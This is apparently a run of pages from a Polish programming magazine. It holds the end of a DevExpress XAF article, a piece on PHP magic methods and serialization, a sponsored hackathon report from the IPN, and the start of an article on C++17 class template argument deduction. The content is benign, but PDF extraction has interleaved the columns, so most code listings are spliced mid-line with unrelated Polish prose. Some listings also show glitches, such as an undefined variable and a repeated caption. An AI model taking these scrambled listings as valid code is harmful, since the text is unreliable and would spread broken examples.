AppearanceItemType = "ViewItem",
TargetItems = "*", godnia. 3 sprinty ogarnięte w pierwszym dniu pierwszego sprintu?
Criteria = "PaymentBalance = 0", W kolejnym artykule rozbudujemy nasz program o kolejne funk-
Context = "ListView",
FontColor = "Blue",
cjonalności, jak faktura korygująca, podział na działy firmy czy kon-
Priority = 101)] trola dostępu do danych wg przynależności pracownika do wybrane-
public class Payment : XPObject go działu. Zachęcamy czytelników do dyskusji i zgłaszania propozycji
{
... rozbudowy aplikacji. Pobierzcie DevExpress, dodajcie własne klasy
wg własnych pomysłów i napiszcie o tym do nas na poniższy adres:
Więcej na ten temat można znaleźć na stronie DevExpress [11]. github.com/kashiash/Invoice.

W sieci
[1] https://docs.devexpress.com/eXpressAppFramework/112670/expressapp-framework
[2] https://docs.devexpress.com/eXpressAppFramework/112571/business-model-design-orm/built-in-business-classes-and-interfaces
[3] https://docs.devexpress.com/eXpressAppFramework/118046/application-shell-and-base-infrasctructure/application-solution-components/modules#modules-shipped-with-xaf
[4] https://docs.devexpress.com/XPO/1998/express-persistent-objects
[5] https://github.com/DevExpress/XPO/tree/master/Benchmarks
[6] https://docs.devexpress.com/CodeRushForRoslyn/115802/coderush
[7] https://community.devexpress.com/blogs/markmiller/archive/2018/04/25/coderush-cheat-sheet-v3.aspx
[8] https://docs.devexpress.com/eXpressAppFramework/113710/data-manipulation-and-business-logic/ways-to-implement-business-logic?p=net5
[9] https://docs.devexpress.com/eXpressAppFramework/113711/data-manipulation-and-business-logic/create-read-update-and-delete-data?p=net5
[10] https://docs.devexpress.com/eXpressAppFramework/112833/getting-started/in-depth-tutorial-winforms-webforms/ui-customization/customize-the-view-items-layout
[11] https://docs.devexpress.com/eXpressAppFramework/113286/conditional-appearance

JACEK KOSIŃSKI
kashiash@gmail.com
Absolwent Wydziału Cybernetyki Wojskowej Akademii Technicznej. Programuje komercyjnie od ponad 30 lat. Przeszedł wszystkie etapy kariery pro-
gramisty. Zafascynowany wszelkimi narzędziami wspomagającymi proces tworzenia systemów informatycznych oraz metodami, jak zrobić i się nie
narobić. Zainteresowania pozainformatyczne: Wino, Kobieta i Śpiew.

PATRYK WYPRZAŁ
pwyprzal@gmail.com
Młody pasjonat technologii .NET. Swoje zainteresowania informatyczne rozwija od najmłodszych lat. Ukończył technikum informatyczne oraz zdobył
tytuł inżyniera. Aktualnie pracuje w Gabos Software jako programista .NET oraz jest w trakcie zdobywania tytułu magistra. Równowaga jest dla niego
ważna, dlatego realizuje się również poprzez sporty siłowe.

<30> { 1 / 2022 < 100 > }


JĘZYKI PROGRAMOWANIA

Metody magiczne w PHP


Nieznajomość metod magicznych u programistów PHP powinna być karalna. Czytając ten
artykuł, dowiesz się, co ma wspólnego przeciążanie metod i właściwości z metodami magicz-
nymi, jak przydają się one w debugowaniu i jak zachować odrobinę prywatności w udostęp-
nianiu danych klasy.

N iejeden programista z pewnością spotkał się z sytuacją, że kod,


który nie miał prawa działać – działa. Zazwyczaj przechodzi-
my wtedy nad tym do porządku dziennego, wychodząc z założenia,
»
»
»
__construct()
__destruct()
__call()
że zadziałała jakaś siła nadprzyrodzona. Dziękujemy jej z całego ser- » __callStatic()
ca i przechodzimy do kolejnego projektu. » __get()
Poleganie na magii w programowaniu to coś, czego powinniśmy » __set()
unikać, bo może się to źle skończyć. Jest jednak jeden wyjątek: funk- » __isset()
cje magiczne. » __unset()
Nie będę zabierał czytelnikowi radości samodzielnego pozna- » __sleep()
wania wszystkich metod magicznych, dlatego opiszę (pokrótce) tyl- » __wakeup()
ko niektóre z nich. Postaram się zaprezentować je na tyle ciekawie, » __serialize()
aby zachęcić do dalszego eksplorowania magicznych rejonów w PHP. » __unserialize()
» __toString()

GDZIE TA MAGIA? » __invoke()


» __set_state()
Z funkcjami (metodami) magicznymi mamy do czynienia właściwie » __clone()
od początku naszej zabawy z programowaniem obiektowym w PHP. » __debugInfo()
Na przykład tworząc obiekt jakiejkolwiek klasy, automatycznie wy-
woływana jest funkcja magiczna __construct, która – jak wszyscy Spostrzegawczy czytelnik z pewnością zauważył dwa podkreślenia
doskonale wiemy – służy do inicjowania właściwości instancji danej przed nazwą każdej metody. To konwencja nazewnictwa, która ma
klasy. Nie bez powodu wyróżniłem słowo „automatycznie” w po- odróżnić je od zwykłych metod. Jeżeli chcesz zdefiniować którąś
przednim zdaniu, ponieważ właśnie ten automatyzm jest kwintesen- z tych metod w swojej klasie, musisz – rzecz jasna – używać dokład-
cją magicznego charakteru tej funkcji. Pozostałych zresztą też. nie tej nazwy.
Interpreter PHP wywołuje je automatycznie w odpowiedzi na Inna ważna rzecz, o której należy pamiętać: jeżeli definiujemy ja-
ważne zdarzenia w cyklu życia obiektu. Możemy też na nich polegać kąkolwiek metodę magiczną w swojej klasie, to musi być ona public.
jak na Zawiszy, bo raz zadeklarowane w klasie –, wywoływane są za- Chyba że tworzymy Singletona, ale o tym kiedy indziej.
wsze i niezależnie od kontekstu.
Mamy więc do dyspozycji cały zestaw niezwykle przydatnych
ALE WŁAŚCIWIE PO CO?
funkcji, które wykonują się automatycznie i są do dyspozycji 24 go-
dziny na dobę. Czyż to nie jest magia?! Metody magiczne są niezwykle użyteczne. Są na przykład wykorzy-
stywane w przeciążaniu (ang. overloading) metod i właściwości klas.

FUNKCJE MAGICZNE, CZYLI CO? Jest to dosyć szeroki wachlarz zastosowań, o którym szerzej za chwilę
– przy okazji opisywania metod __get(), __set() i __call().
Wiemy już, czym są funkcje magiczne w PHP. Ponieważ jednak ża- Używane są także do realizacji niektórych wzorców projektowych
den poważny artykuł o programowaniu nie może obyć się bez de- – na przykład Interceptor. Interceptory muszą „wciskać się” w wywo-
finicji, dlatego przytaczam następującą: funkcje (metody) magiczne łania metod, zmieniając jej parametry wejściowe, logikę lub rezultat,
są specjalnymi funkcjami, które nadpisują domyślnie działanie PHP dlatego bazują na metodzie magicznej __call(), która świetnie na-
w trakcie wykonywania pewnych określonych zdarzeń na obiekcie. daje się do tego celu.
Kiedy formalnościom stało się zadość, przejdźmy do ciekawszych Inna funkcja __clone() używana przez metodę clone() (to dwie
rzeczy. Otóż te wspomniane przeze mnie, ważne zdarzenia w cyklu różne metody – zwróćmy uwagę na podwójne podkreślenie w pierw-
życia obiektu to na przykład: jego utworzenie i niszczenie (__con- szej z nich) świetnie sprawdza się w implementacji wzorca projekto-
struct, __destruct), odwołanie do nieistniejących pól (__get(), wego Prototype.
__set()), wywołanie nieistniejących metod (__call()) i inne. Teoretycznie za ich pomocą można z łatwością otrzymać dostęp
Rodzina metod magicznych w komplecie prezentuje się następująco: do prywatnych (ang. private) i zabezpieczonych (ang. protected) wła-

<32> { 1 / 2022 < 100 > }


/ Metody magiczne w PHP /

ściwości klasy. Wymaga to oczywiście modyfikacji klasy, co czyni var_dump(serialize(new Config()));


cały proces mało sensownym, ale teoretycznie jest to możliwe. Poni- Rezultat (przeformatowany dla większej czytelności):
string(89)
żej łobuzerski przykład dostępu do danych prywatnych: "O:6:"Config":2:
{
Listing 1. Użycie metody __get s:13:"Configcount";
i:100;
class Config s:12:"Configpath";
{ s:17:"some_kind_of_path";
private $count = 100; }"
public function __get($field)
{
return $this->$field; W powyższym przykładzie programista z jakichś powodów nie zde-
}
}
cydował się na udostępnienie do serializowania swojej stawki za ro-
boczogodzinę. Do procesu serializacji jeszcze wrócimy.
$instance = new Config();
echo $instance->count; Inny przykład. Zmora początkujących programistów: błąd Object
Rezultat: 100 of class … could not be converted to string. Pojawia się on, kiedy pró-
bujemy wypisać na ekranie obiekt klasy:
W ten sposób depczemy co prawda najważniejsze pryncypia progra-
class Config
mowania obiektowego, ale kto by się tam tym przejmował. Kto pro- {
gramiście zabroni? To był oczywiście żart. Nie robimy takich rzeczy. private $count = 100;
}
Metody magiczne są bardzo przydatne w sytuacji, kiedy musimy
echo new Config();
serializować dane obiektu klasy w celu ich przechowywania na przy-
Rezultat (przeformatowany dla większej czytelności):
kład w bazie danych. Za pomocą funkcji magicznej __sleep() mo-
Uncaught Error:
żemy kontrolować, które dokładnie pola klasy zostaną serializowane. Object of class Config could not be converted to string
Metoda serialize() sprawdza, czy obiekt ma metodę __
sleep() i – jeżeli tak – postępuje według zdefiniowanej w niej logiki. Dla początkującego programisty debugowanie tego błędu może zająć
Jeżeli nie ma, wykonuje logikę domyślną. Daje to duże pole do ma- jakiś czas, a wystarczy do klasy dodać metodę magiczną __toString():
nipulowania, co ma być serializowanie, a co nie. Zobaczmy przykład
Listing 3. Użycie metody __toString()
selektywnego podejścia do udostępniania danych klasy:
class Config
Listing 2. Użycie metody __sleep() {
private $language = 'PHP';
class Config public function __toString()
{ {
private $count = 100; return $this->language . " jest dla boomerów";
private $path = 'some_kind_of_path'; }
private $hourlyRate = 250.00; }

public function __sleep() echo new Config();


{
return ['count', 'path']; Rezultat:
} PHP jest dla boomerów
}

/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <33>
JĘZYKI PROGRAMOWANIA

Metoda __toString() może nie ma jakiegoś specjalnie spekta- Młodszym, niekochanym bratem __construct() jest metoda
kularnego działania, ale czasem upraszcza kod – szczególnie w sy- magiczna __destruct(), której nikt nie używa i to właściwie wszyst-
tuacjach, kiedy musimy stworzyć jakiś komunikat o stanie obiektu. ko, co można ciekawego o niej powiedzieć. A tak na poważnie: de-
Kolejnym ciekawym zastosowaniem funkcji magicznych jest struktor jest wywoływany w momencie, kiedy usuwana jest ostatnia
__debugInfo(). Jest ona wykorzystywana przez inną funkcję var_ referencja do danego obiektu. Jeżeli istnieje potrzeba posprzątania po
dump(). Wszyscy znamy tę metodę, ponieważ od niej zazwyczaj za- obiekcie (jakieś „wiszące” połączenia itp.), to będzie to dobre miejsce
czynamy debugowanie. Wiedząc, jak zastosować __debugInfo(), do tego celu.
możemy w znacznym stopniu umilić sobie ten proces:

Listing 4. Przykład debugowania metody getCalculation() przy użyciu funkcji PRZECIĄŻANIE METOD ZA POMOCĄ
__debugInfo() __CALL()
class Config
{ Metoda magiczna __call() jest wywoływana w sytuacji, gdy pró-
private $count = 100; bujemy na obiekcie odwołać się do nieistniejącej lub niedostępnej
private $rate = 1.6;
metody (bo jest private lub protected). Ta funkcja też ma swój odpo-
private function getCalculation()
{ wiednik dla kontekstu statycznego: __callStatic(), która realizuje
return $this->count * $this->rate; podobny scenariusz.
}

public function __debugInfo() Listing 6. Użycie metody __call()


{
return [ class Config
'result' => $this->getCalculation() {
]; public function __call($name, $arguments)
} {
} return "Wywołano nieistniejącą funkcję {$name}.";
}
$instance = new Config(); }
var_dump($instance);
$instance = new Config();
Rezultat (przeformatowany dla większej czytelności): echo $instance->getConfig();
object(Config)#1
(1) {["result"]=> float(160)} Rezultat:
Wywołano nieistniejącą funkcję getConfig.

KONSTRUKTOR – KRÓL JEST TYLKO Może powstać pytanie, po co ktoś miałby wywoływać nieistniejące
metody. Rzeczywiście, na pierwszy rzut oka może to wydać się bez-
JEDEN sensowne, ale za pomocą tej funkcji można implementować przecią-
Bezapelacyjnym królem wszystkich metod magicznych jest __con- żanie metod, czyli definiowanie wielu funkcji o tej samej sygnaturze,
struct(). Służy on – jak doskonale wszystkim wiadomo – do nada- lecz innych parametrach.
wania określonych właściwości nowo tworzonym obiektom danej Metoda __call() może być także bardzo pomocna, kiedy po-
klasy. Na miano króla zasłużył sobie z dwóch powodów: 1) Jest naj- trzebujemy wielu metod wykonujących podobną logikę (na przy-
częściej używaną metodą magiczną; 2) Jak na króla przystało, w prze- kład pobieranie danych), ale różniących się parametrami. Wtedy –
ciwieństwie do innych metod magicznych, jest zwolniony z przykre- poprzez parsowanie nazwy wywoływanej funkcji – można zastąpić
go obowiązku zapewnienia spójności sygnatury metody. wszystkie te funkcje jedną.
Mówiąc prościej: jeśli mamy kaprys deklarowania konstruktora Wspomniałem wcześniej, że __call() wykorzystuje się do im-
bez żadnych parametrów, to możemy to zrobić. Ma to mały sens, ale plementacji wzorca projektowego Interceptor, który służy do budo-
kto programiście zabroni? Jeżeli chcemy dać parametry – to możemy wania łatwo skalowalnych i modyfikowalnych aplikacji. Tak więc jest
ich dać, ile chcemy, oczywiście zachowując odpowiedni umiar. fundamentem niezwykle ważnego mechanizmu.
Konstruktor jest wywoływany za każdym razem, gdy tworzo- A jak ktoś ma za dużo wolnego czasu, to może za pomocą __call()
ny jest obiekt klasy. Zatem jest to idealne miejsce na deklarowanie zbudować sobie eleganckie przechwytywanie wywołań nieistnieją-
wszystkich niezbędnych właściwości klasy. cych metod. Błąd Uncaught Error: Call to undefined method nie bę-
dzie wtedy krzyczał z ekranu, a Team Leader będzie pod wrażeniem
Listing 5. Konstruktor z parametrem
naszego profesjonalnego podejścia do programowania.
class Config
{
private $count;
PRZECIĄŻANIE WŁAŚCIWOŚCI
public function __construct(int $count)
{
OBIEKTU
$this->count = $count;
} Istnieje zestaw metod magicznych, które obsługują właściwości obiek-
} tu. Do tego szacownego grona zaliczają się między innymi gettery
i settery: __get() i __set(). Są one wywoływane, kiedy następuje
odwołanie do nieistniejącej lub niedostępnej (bo zadeklarowane jako
private lub protected) właściwości klasy.

<34> { 1 / 2022 < 100 > }


/ Metody magiczne w PHP /

Listing 7. Użycie metody __get()


SERIALIZACJA
class Config
{ Stare programistyczne wygi mawiają, że kto nigdy niczego nie seriali-
private $salary = 100;

zował i nie zapisywał do pliku tekstowego, ten nie zna życia. W PHP
public function __get($property) serializuje się za pomocą funkcji serialize(). Można za jej pomocą
{
return "'{$property}' jest niedostępne"; serializować stringi, floaty i całe tablice:
}
echo serialize("PHP jest dla bumerów");
} Rezultat: s:21:"PHP jest dla bumerów";
$instance = new Config(); echo serialize(99.99);
echo $instance->salary; Rezultat: d:99.99;
Rezultat: echo serialize([1,2,3]);
'salary' jest niedostępne Rezultat: a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}

Innym zestawem funkcji obsługujących właściwości obiektu są __is- Największy „fun” jest jednak z serializowaniem obiektów:
set() i __unset(). Pierwsza wywoływana poprzez metodę isset()
class Config
– czyli sprawdzanie, czy właściwość w ogóle istnieje. Druga wywoły- {
wana przez metodę unset() – czyli w trakcie niszczenia zmiennej. private $salary = 100;
private $dataSource = "DB";
Obsługa tych zdarzeń może polegać na implementacji jakiejś specjal- }
nej logiki walidowania istnienia właściwości. Na przykład możemy echo serialize(new Config());
przyjąć, że jakaś zmienna nie może być mniejsza niż 100. Jeżeli jest Rezultat (przeformatowany dla czytelności):
O:6:"Config":2:
– traktujemy ją jako „nieistniejącą”. Można ten mechanizm wykonać {
w jakiejś klasie-helperze, ale wykorzystanie do tego celu metody ma- s:14:"Configsalary";
i:100;
gicznej jest moim zdaniem bardziej eleganckie. s:18:"ConfigdataSource";
Funkcja __unset() może się przydać, jeżeli musimy „posprzątać” s:2:"DB";
}
po zmiennej.
Ten „fun” nie wynika z tego, że rezultat działania metody serial-

KLONUJE SIĘ, ALE NIE DO KOŃCA… ize() wygląda dużo ciekawiej, niż w przypadku serializowania war-
tości skalarnych i tablic (chociaż to też), lecz przede wszystkim dlate-
Wspomniałem już, że metoda magiczna __clone() jest wywoływana go, że mamy bezpośredni wpływ na to, jak wygląda wynikowy string
przy okazji działania funkcji clone(). Świetnie sprawdza się w im- z serializacji. Możemy w ten sposób udostępniać tylko te właściwości
plementacji wzorca projektowego Prototype. obiektu, które w danym kontekście biznesowym są istotne. Wspo-
Jest jednak z nią mały problem. Otóż clone() kopiuje wartości mniałem już o tym wcześniej: ta magia jest możliwa dzięki metodzie
wszystkich właściwości klonowanego obiektu. To oznacza, że jeżeli magicznej __sleep().
taką właściwością będzie inny obiekt, to zostanie on przekazany do Z kolei funkcja __wakeup() to siostra bliźniaczka metody __sleep().
klona przez referencję, a nie sklonowany i przekazany jako odrębna Jak na bliźniaczkę przystało, jest ona z charakteru zupełnie inna: wywo-
instancja tej klasy. Co to oznacza? Dwa różne (chociaż sklonowane) ływana jest w procesie odwrotnym do serializacji – czyli deserializacji.
obiekty będą operowały na tym samym obiekcie. Skutki takiej im-
plementacji są trudne do przewidzenia, ale na pewno nie zaskoczą
NA KONIEC
pozytywnie.
I tu zaczyna działać magia metody __clone(). Poniżej przedsta- Omówiłem tylko niektóre funkcje magiczne. Jest ich więcej i każdy
wiono prosty sposób na zabezpieczenie się przed niepełnym klono- powinien nie tylko je znać i umieć wykorzystać, ale myśleć o realizo-
waniem obiektu. Należy pamiętać, że metoda __clone() jest wywo- waniu założeń programistycznych w projekcie poprzez ich kontekst.
ływana już na powstałym z klonowania obiekcie. Metody magiczne mogą być wspaniałym uzupełnieniem nasze-
go programistycznego arsenału. Ułatwiają programowanie, skracają
Listing 8. Użycie metody __clone()
kod, są łatwe w wykorzystaniu. Dajcie im szansę zaistnieć w waszych
class Config projektach. Pokochajcie je, a one odwzajemniają się tym samym.
{
private Salary $salary;
private DataSource $dataSource;

public function __clone() PIOTR JAWORSKI


{
$this->salary = clone $this->salary; Developer w Fast White Cat, polskim E-commerce
$this->dataSource = clone $this->dataSource;
House, który zajmuje się wdrożeniami Magento 2
}
dla dużych brandów.
}

{ WWW.PROGRAMISTAMAG.PL } <35>
KLIK W HISTORIĘ
NAJNOWSZĄ
Na początku grudnia, przez trzy dni, Katowice
były stolicą europejskich programistów. Od 10
do 12 grudnia odbywał się w Spodku Hack­
Yeah 2021, największy w Europie hackathon,
w którym wzięło udział ponad 1500 miłośni-
ków nowych technologii. Na wykonanie jedne-
go z 10 zadań każdy zespół miał 40 godzin.
Łączna pula nagród wyniosła 570 tys. zł. Ekipa IPN. Od lewej: dr Rafał Leśkiewicz, Edwin Tarczyński, Adrianna Paradowska,
Magdalena Hajduk, Krzysztof Kopeć, Sebastian Górkiewicz (HackYeah Power 2021,
Katowice. Fot. IPN)

Tegoroczną, 7. już edycję wspierał GovTech Polska, a wśród 12 part- Co nowe technologie mają wspólnego z historią? Na pozór wyda-
nerów wydarzenia po raz pierwszy zagościł Instytut Pamięci Naro- je się, że nie ma żadnego związku pomiędzy badaniami naukowymi
dowej. Z inicjatywą udziału Instytutu wystąpiła Magdalena Hajduk z zakresu historii najnowszej a szybko rozwijającymi się technolo-
– dyrektor niedawno powołanego Biura Nowych Technologii. giami informatycznymi. W rzeczywistości ta symbioza jest nie tylko
oczywista, ale przede wszystkim niezbędna.
Zastosowanie technologii informatycznych do działań związa- Od wielu lat dynamicznie rozwijające się narzędzia informatycz-
nych z edukacją i badaniami naukowymi to nasz pomysł na do-
ne są wykorzystywane przez humanistykę. Zrodziło się nawet pojęcie
tarcie z opowieścią o najnowszej historii Polski do młodego po-
kolenia. Poprzez cyfrowe kreacje chcemy wykorzystać potencjał humanistyki cyfrowej, która nie jest niczym innym, jak dostosowy-
treści powstałych w ciągu 21 lat funkcjonowania IPN – powie- waniem bądź tworzeniem dedykowanych rozwiązań cyfrowych na
działa Magdalena Hajduk potrzeby nauk humanistycznych. Z tego typu rozwiązań korzystają
muzea, archiwa czy też biblioteki, docierając z atrakcyjną formą prze-
kazu do swoich odbiorców.
Magdalena Hajduk, dyrektor Biura Nowych Technologii IPN (HackYeah Power 2021,
Katowice. Fot. Rafał Leśkiewicz)

TRANSFORMACJA CYFROWA IPN


Instytut Pamięci Narodowej łączy kompetencje muzealne, archiwal-
ne i edukacyjne. W ciągu ponad 20 lat działalności wydano tysiące
książek, uporządkowano i opracowano kilometry bieżące archiwa-
liów czy też otwarto kilkaset wystaw. W tym samym okresie, oprócz
analogowych efektów pracy Instytutu, powstały dane cyfrowe, pe-
tabajty danych zgromadzonych w infrastrukturze technicznej IPN.
W Instytucie trwa proces skanowania dokumentów, wydawane są
ebooki, a przede wszystkim są tworzone tematyczne lub ogólnohi-
storyczne portale internetowe. Głównym problemem, z jakim boryka
się IPN, jest stworzenie narzędzia do zarządzania danymi i ich ergo-
nomicznego wyszukiwania w sposób intuicyjny oraz prosty.
To właśnie stworzenie multiwyszukiwarki do zasobów cyfrowych
stało się głównym wyzwaniem dla zespołów programistów biorących
udział w hackathonie HackYeah 2021.
Z zadaniem zaproponowanym przez IPN w pierwszym etapie po-
stanowiło się zmierzyć 5 zespołów, zgłaszając swoje prace do oceny
jurorów. W drugim etapie znalazły się już tylko 2 zespoły, przedsta-
wiając interaktywne portale wyszukiwawcze dla wystawionych pu-
blicznie w sieci portali internetowych.

{ Materiał informacyjny }
IPN HUB ne w jakości bardzo podobnej do oryginalnych wyników w serwisach
źródłowych.
Ostatecznie zwyciężył zespół Bards.ai, otrzymując czek na 30 tys. zł Wygodnym dla użytkowników rozwiązaniem jest serwowanie
za przygotowanie ciekawego rozwiązania nazwanego IPN Hub. w wynikach wyszukiwania treści podobnych do tych, o które użyt-
kownik składał zapytanie.
Wyzwanie IPN zwróciło naszą uwagę ze względu na potencjalną Z kolei dla administratorów systemu ważną rolę pełni dashboard
skalę rozwiązania. Stworzenie narzędzia, z którego będzie mógł
administracyjny, pozwalający na zbieranie informacji o aktywności
korzystać praktycznie każdy, jest dla nas interesującym zagadnie-
niem. Zadanie spodobało nam się również ze względu na rodzaj użytkowników: czego poszukiwali, w co następnie klikali, na czym
oczekiwanego rozwiązania. Doświadczenie naszego zespołu po- skupiali się najdłużej. Takie rozwiązanie umożliwia rozpoznanie fak-
lega głównie na tworzeniu rozwiązań z zakresu sztucznej inteli- tycznych potrzeb użytkowników, a w konsekwencji właściwy dobór
gencji, w tym w szczególności inteligentnego wyszukiwania treści publikowanych treści.
z wykorzystaniem nowoczesnych modeli językowych. Do podjęcia
się tego zadania zachęcił nas również jeden z członków naszego
Mamy nadzieję, że wdrożenie naszego rozwiązania zwiększy za-
zespołu – Michał Swędrowski, na co dzień pasjonujący się historią
interesowanie historią, szczególnie wśród najmłodszych. W dzi-
– powiedzieli członkowie zespołu Bards.ai
siejszych czasach młodzi ludzie czerpią swoją wiedzę głównie
z Internetu. Priorytetem wydaje się stworzenie produktów, które
W zwycięskim rozwiązaniu przyjęto kluczowe założenie, że warun- ułatwią dostęp do treści historycznych w postaci gier czy dedyko-
kiem dobrego planowania nowych treści umieszczanych w Interne- wanych narzędzi – zauważyli po zakończeniu hackathonu człon-
cie jest zbieranie informacji o wyszukiwanych frazach, a także tego, kowie zwycięskiego zespołu.
w jaki sposób użytkownicy korzystają z serwisów internetowych.
Istotnym, zastosowanym w rozwiązaniu mechanizmem jest identyfi- Drugie miejsce zajął zespół Archiwiści, inkasując nagrodę w wysoko-
kacja użytkowników, umożliwiająca ich personalizację. Po wdrożeniu ści 20 tys. zł za wyszukiwarkę nazwaną Archiwizjer.
pozwoli to na przygotowywanie naszej cyfrowej oferty dla konkret- Oba projekty, w ocenie jurorów i mentorów z IPN, stoją na wyso-
nych grup odbiorców. kim poziomie zaawansowania technicznego.
Przygotowany serwis internetowy, będący inteligentną wyszu- Wkrótce nastąpi wdrożenie zwycięskiego rozwiązania, dzięki cze-
kiwarką, integruje się w bardzo prosty sposób z innymi, bogatymi mu jeden klik wystarczy, by przenieść nas do cyfrowej skarbnicy wie-
w treści serwisami internetowymi IPN, umożliwiając wyszukiwanie dzy o historii XX wieku.
artykułów, nagrań audio i wideo, a także fotografii. A poprzez zasto-
dr Rafał Leśkiewicz, Rzecznik Prasowy, Dyrektor Biura Rzecznika Prasowego IPN
sowanie inteligentnego parsera wyniki wyszukiwania są prezentowa-

Zwycięski zespół Bards.ai wraz z jurorami z IPN (HackYeah Power 2021, Katowice. Fot. IPN)
JĘZYKI PROGRAMOWANIA

Dedukcja argumentów szablonu dla klas w C++17


Standard C++17 wprowadza mechanizm automatycznego wykrywania typów argumentów
szablonów klas (Class template argument deduction – CTAD). Argumenty szablonu są okre-
ślane na podstawie konstruktora klasy. Zmiana ta ułatwia codzienną pracę programisty oraz
pozwala pisać bardziej ogólny i przejrzysty kod. Warto więc poznać CTAD lepiej, by uniknąć
nieoczywistych błędów.

JAK W PRAKTYCE DZIAŁA CTAD Listing 3. Przykład przekazania mniejszej liczby argumentów szablonu niż
wymagana

Programując w C++11 w celu utworzenia obiektu klasy szablonowej, template <typename T, typename X>
struct Pair
należało jawnie wskazać jego typy. W standardzie C++17 wystarczy {
nazwa typu z wywołaniem konstruktora – dedukcja typu następuje T value;
X key;
automatycznie na podstawie argumentów konstruktora klasy. Zmia- };
na ta jest wstecznie kompatybilna z kodem napisanym w C++11. Jeśli template <typename T, typename X>
Pair(T, X) -> Pair<T, X>;
były podane typy szablonów, kompilator wybiera typy zadeklarowane Pair<int> p1{1, 1.2}; // Błąd kompilacji
w argumencie szablonu [1]. Pair p2{1, 1.2}; // Działa

Listing 1. Praktyczne przykłady użycia CTAD


Innym ograniczeniem CDAT jest brak uwzględnienia szablonu wy-
std::mutex m; specjalizowanego podczas tworzenia obiektu klasy szablonowej.
std::lock_guard<std::mutex> lock(m); // C++11
std::lock_guard lock1(m); // C++17 - CTAD
Listing 4. Przykład próby użycia CDAT dla specjalizacji klasy szablonowej
std::pair<std::string, int> ("Key", 1); // C++11
std::pair (std::string("Key"), 1); // C++17 - CTAD template <typename T, typename X>
struct Pair
std::pair<int, int>(2, 1); // C++11 {
std::pair (2, 1); // C++17 - CTAD T value;
X key;
};
template <>
OGRANICZENIA struct Pair<int, int>
{
int value;
Jednym z ograniczeń mechanizmu automatycznej detekcji typu są int key;
obiekty, których konstruktory nie pozwalają na wydedukowanie Pair(int value_, int key_):
value(value_), key(key_){}
typu, czyli szablony nie mające typu T w argumencie konstruktora };
bądź mające konstruktory bezargumentowe [2]. W zaprezentowa- Pair<int, int> p1{1, 1}; // Działa
Pair p2{1, 1}; // Błąd kompilacji
nych poniżej listingach najbardziej istotne fragmenty zakreślono ko-
lorem żółtym.

Listing 2. Brak typu dedukowanego w konstruktorze klasy DEDUCTION GUIDES – PRZYKŁADY


template <typename T>
UŻYCIA
struct LackOfTypeInConstructor
{ Oprócz CDAT istnieje powiązany mechanizm deduction guides, któ-
T value; ry pozwala tworzyć wskazówki dedukcyjne dla klas szablonowych.
size_t size;
// Brak typu T w konstruktorze Mechanizm deduction guides może zostać użyty w miejscach, w któ-
LackOfTypeInConstructor(size_t size_):size(size_)
{}
rych kompilator zgłasza dwuznaczność bądź może pomóc w sugestii
}; wybieranego typu szablonu przy jego konkretyzacji, używając CDAT.
Przykładem użycia deduction guides może być sugestia, jak trak-
Konstruktor w klasie LackOfTypeInConstructor nie pozwala na wy- tować ciąg znaków znanych z języka C podczas instancjonowania
dedukowanie typu T, dlatego dostajemy błąd kompilacji: szablonu. Tradycyjne kompilator tworząc szablon, wybiera typ const
char*, co jest pewną zaszłością historyczną. Zdecydowanie bardziej
<source>:45:39: error: class template argument deduction failed:
45 | LackOfTypeInConstructor variable(1); odpowiednim typem w nowoczesnym C++ byłby std::string.
Dzięki mechanizmowi deduction guides takie zachowanie jest moż-
CDAT nie zadziała również, gdy podamy część wymaganych argu- liwe przy użyciu kodu zaprezentowanego w Listingu 5.
mentów szablonu klasy podczas konkretyzacji.

<38> { 1 / 2022 < 100 > }


JĘZYKI PROGRAMOWANIA

Listing 5. Przykład użycia deduction guides Listing 9. Przykład deduction guides dla typów wewnętrznych iteratora

template <typename T> struct Test


struct Aggregate {
{ T value;
T value; Test(T t_):value(t_){}
}; };
Aggregate(const char *) -> Aggregate<std::string>; int x = 10;
Aggregate a1{"Test"}; int& ref_x = x;
const int& cref_x = cx;

Kolejnym ciekawym przypadkiem użycia deduction guides wraz // Dedukcja typów usuwa referencję typu
// Test<T>::Test(T) [with T = int]
z CDAT są agregaty szablonowe. Wydawać by się mogło, że kompi- Test i_ref(ref_x);
lator powinien być w stanie w wydedukować typ szablonu na podsta- // Dedukcja typów usuwa referencję typu oraz const
// Test<T>::Test(T) [with T = int]
wie domyślnego konstruktora klasy. W praktyce jednak wymagany Test i_cref(cref_x);
jest konstruktor jawny. // Test<T>::Test(T) [with T = int&]
Test<int&> i_template_ref(x);
i_ref.value = 5;
Listing 6. Przykład braku deduction guides dla agregatów
std::cout << x << std::endl; // 10
i_template_ref.value = 5;
template <typename T> std::cout << x << std::endl; // 5
struct Aggregate
{
T value; W powyższym przykładzie, pomimo podania do konstruktora zmien-
};
Aggregate a{std::string("test")}; nej referencyjnej, szablon dedukuje typ T zamiast T&, w wyniku
error: class template argument deduction failed: czego – zmieniając wartość Test.value – zmienna x jest niemody-
70 | Aggregate a{std::string("test")}; fikowana. Rozwiązaniem tego problemu może być użycie konkret-
nego argumentu szablonu typu int&, jak w zmiennej Test<int&>
Dodanie poniższego deduction guide umożliwia utworzenie obiektu i_template_ref(x). Taki zabieg powoduje już przekazanie i prze-
agregatu na podstawie typu pobranego z konstruktora domyślnego. chowywanie referencji do obiektu i późniejszą jego modyfikację. Dla
programisty, który nie jest świadomy mechanizmu działania deduk-
Listing 7. Przykład składni deduction guides
cji typu szablonów, może to stanowić nie lada zagwozdkę.
template <typename T>
Aggregate(T) -> Aggregate<T>;
PODSUMOWANIE
Poniższy przypadek użycia deduction guides pokazuje możliwość Class template argument deduction jest bardzo praktycznym mecha-
wykorzystania wewnętrznego typu iteratora value_type do określe- nizmem pozwalającym na uniknięcie zapisu długich nazw szablo-
nia typu klasy szablonowej. Klasa Container przyjmuje 2 iteratory nów i automatyczną dedukcję typów. Mechanizm ten w połączeniu
w konstruktorze, jednakże typ T jest dedykowany na podstawie we- z deduction guides daje możliwości poprawy zarówno zaszłości hi-
wnętrznej zmiennej iteratora value_type [1]. storycznych, jak np. automatyczna dedukcja literałów znaków do
std::string, jak i również pozwala na dedukcję na podstawie we-
Listing 8. Przykład deduction guides dla typów wewnętrznych iteratora
wnętrznych typów innych klas. Niewątpliwą zaletą CTAD jest zwięk-
template<class T> struct Container { szona czytelność kodu. Późniejsza modyfikacja kodu lub jego refak-
template<class Iter> Container(Iter beg, Iter end){}
